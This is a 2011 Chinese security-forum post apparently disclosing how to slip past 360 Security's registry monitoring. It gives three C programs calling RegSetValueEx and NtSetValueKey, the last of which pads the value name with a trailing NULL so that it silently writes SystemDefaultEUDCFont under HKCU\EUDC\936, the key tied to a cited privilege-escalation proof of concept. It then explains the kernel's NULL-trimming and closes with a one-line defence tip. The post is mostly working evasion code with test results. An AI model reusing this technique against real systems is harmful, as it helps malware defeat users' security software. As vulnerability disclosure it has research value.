一.测试环境
本次测试所采用的操作系统为中文版Windows XP SP3(使用360安全卫士更新了所有补丁),360安全卫士 7.8.0.1001(备用木马库2011-04-01),360杀毒软件2.0.0.1330(病毒库日期2011-04-01 03:49),计算机处于联网状态,360安全卫士、360杀毒都“已成功连接至360云安全中心”。建立了一个名为admin的管理员用户。
【注意!】本次测试都在管理员下进行。
二.测试
1.测试1
#include <windows.h>
void main()
{
BYTE RegBuf[0x28] = {0};
HKEY hKey;
if ( RegOpenKey(HKEY_CURRENT_USER,L"EUDC\\936",&hKey) == ERROR_SUCCESS )
{
RegSetValueEx(hKey, L"SystemDefaultEUDCFont", 0, REG_BINARY, RegBuf, 0x28);
RegCloseKey(hKey);
}
}
编译后运行,360木马防火墙提示风险“发现程序正在修改系统关键设置”,默认选择为“阻止本次操作”,点确定后HKEY_CURRENT_USER\EUDC\936下SystemDefaultEUDCFont的数据以及类型没有被修改。
2.测试2
考虑到RegSetValueEx是位于Advapi32.dll里面的一个函数,不够底层,在RegSetValueEx的执行过程中可能会存在干扰,于是调用ntdll.dll里面的NtSetValueKey。
#include <windows.h>
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
WCHAR *Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
typedef NTSTATUS ( __stdcall *NtSetValueKey_ ) (
IN HANDLE KeyHandle,
IN PUNICODE_STRING ValueName,
IN ULONG TitleIndex,
IN ULONG Type,
IN PVOID Data,
IN ULONG DataSize
);
NtSetValueKey_ NtSetValueKey = NULL;
int main()
{
BYTE RegBuf[0x28] = {0};
HKEY hKey;
if ( RegOpenKey(HKEY_CURRENT_USER,L"EUDC\\936",&hKey) != ERROR_SUCCESS )
return FALSE;
NtSetValueKey = (NtSetValueKey_)GetProcAddress(GetModuleHandle(L"ntdll.dll"),"NtSetValueKey");
if ( NtSetValueKey == NULL )
return FALSE;
WCHAR lpszName[22] = L"SystemDefaultEUDCFont";//21个字符
UNICODE_STRING ValueName;
ValueName.Buffer = lpszName;
ValueName.Length = 21 * 2;
ValueName.MaximumLength = 21 * 2;
NtSetValueKey( (HANDLE)hKey, &ValueName, NULL,REG_BINARY, (BYTE *)RegBuf, 0x28 );
RegCloseKey(hKey);
}
编译后运行,360木马防火墙仍然提示风险“发现程序正在修改系统关键设置”,默认选择为“阻止本次操作”,点确定后HKEY_CURRENT_USER\EUDC\936下SystemDefaultEUDCFont的数据以及类型没有被修改。
【思考】
对于UNICODE_STRING结构体,Length表明了字符串的长度,Buffer指向的字符串不再以NULL表示字符串的结束。回忆很久以前刚开始学习C语言时,书、老师都在强调:字符串末尾是NULL,碰到NULL就说明字符串结束了。于是灵光一闪,如果在UNICODE_STRING里面加个NULL会怎样?
3.测试3
#include <windows.h>
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
WCHAR *Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
typedef NTSTATUS ( __stdcall *NtSetValueKey_ ) (
IN HANDLE KeyHandle,
IN PUNICODE_STRING ValueName,
IN ULONG TitleIndex,
IN ULONG Type,
IN PVOID Data,
IN ULONG DataSize
);
NtSetValueKey_ NtSetValueKey = NULL;
int main()
{
BYTE RegBuf[0x28] = {0};
HKEY hKey;
if ( RegOpenKey(HKEY_CURRENT_USER,L"EUDC\\936",&hKey) != ERROR_SUCCESS )
return FALSE;
NtSetValueKey = (NtSetValueKey_)GetProcAddress(GetModuleHandle(L"ntdll.dll"),"NtSetValueKey");
if ( NtSetValueKey == NULL )
return FALSE;
WCHAR lpszName[22] = L"SystemDefaultEUDCFont";//21个字符
UNICODE_STRING ValueName;
ValueName.Buffer = lpszName;
ValueName.Length = 21 * 2 + 2;//长度+2,指明多了一个NULL,这是关键之处!
ValueName.MaximumLength = 21 * 2 + 2;//长度+2,指明多了一个NULL
NtSetValueKey( (HANDLE)hKey, &ValueName, NULL,REG_BINARY, (BYTE *)RegBuf, 0x28 );
RegCloseKey(hKey);
}
上面代码的关键之处在于ValueName.Length要+2,使得UNICODE_STRING中包含一个NULL。编译后运行,360无任何提示。运行regedit.exe,可以看到HKEY_CURRENT_USER\EUDC\936下面的SystemDefaultEUDCFont数值类型为REG_BINARY,数值数据是一连串的0。
4.nt!NtSetValueKey是怎么处理的?
以ntkrnlpa.exe(5.1.2600.6055)为例,在0x8061A410处开始处理UNICODE_STRING.Buffer所指向的字符串末尾的NULL,有一个NULL就将Length减2,两个就减4,碰到第一个不是NULL的字符为止。这样在传递到nt!CmSetValueKey时,UNICODE_STRING最后面就不包括NULL了,SystemDefaultEUDCFont+NULL变成了SystemDefaultEUDCFont
5.防御建议
对比要保护的数值名称时,请无视Buffer末尾的NULL!
三、参考资料
HKEY_CURRENT_USER\EUDC\936:
Nooby的POC:http://www.debugman.com/discussion/5767/
英文文档http://www.security.nl/files/Bypass_UAC.pdf
UNICODE_STRING:《天书夜读:从汇编语言到Windows内核编程》P40
nt!NtSetValueKey:IDA反汇编分析或WRK
- 标 题:利用一个NULL绕过360注册表监控
- 作 者:KiDebug
- 时 间:2011-04-01 11:47:13
- 链 接:http://bbs.pediy.com/showthread.php?t=131691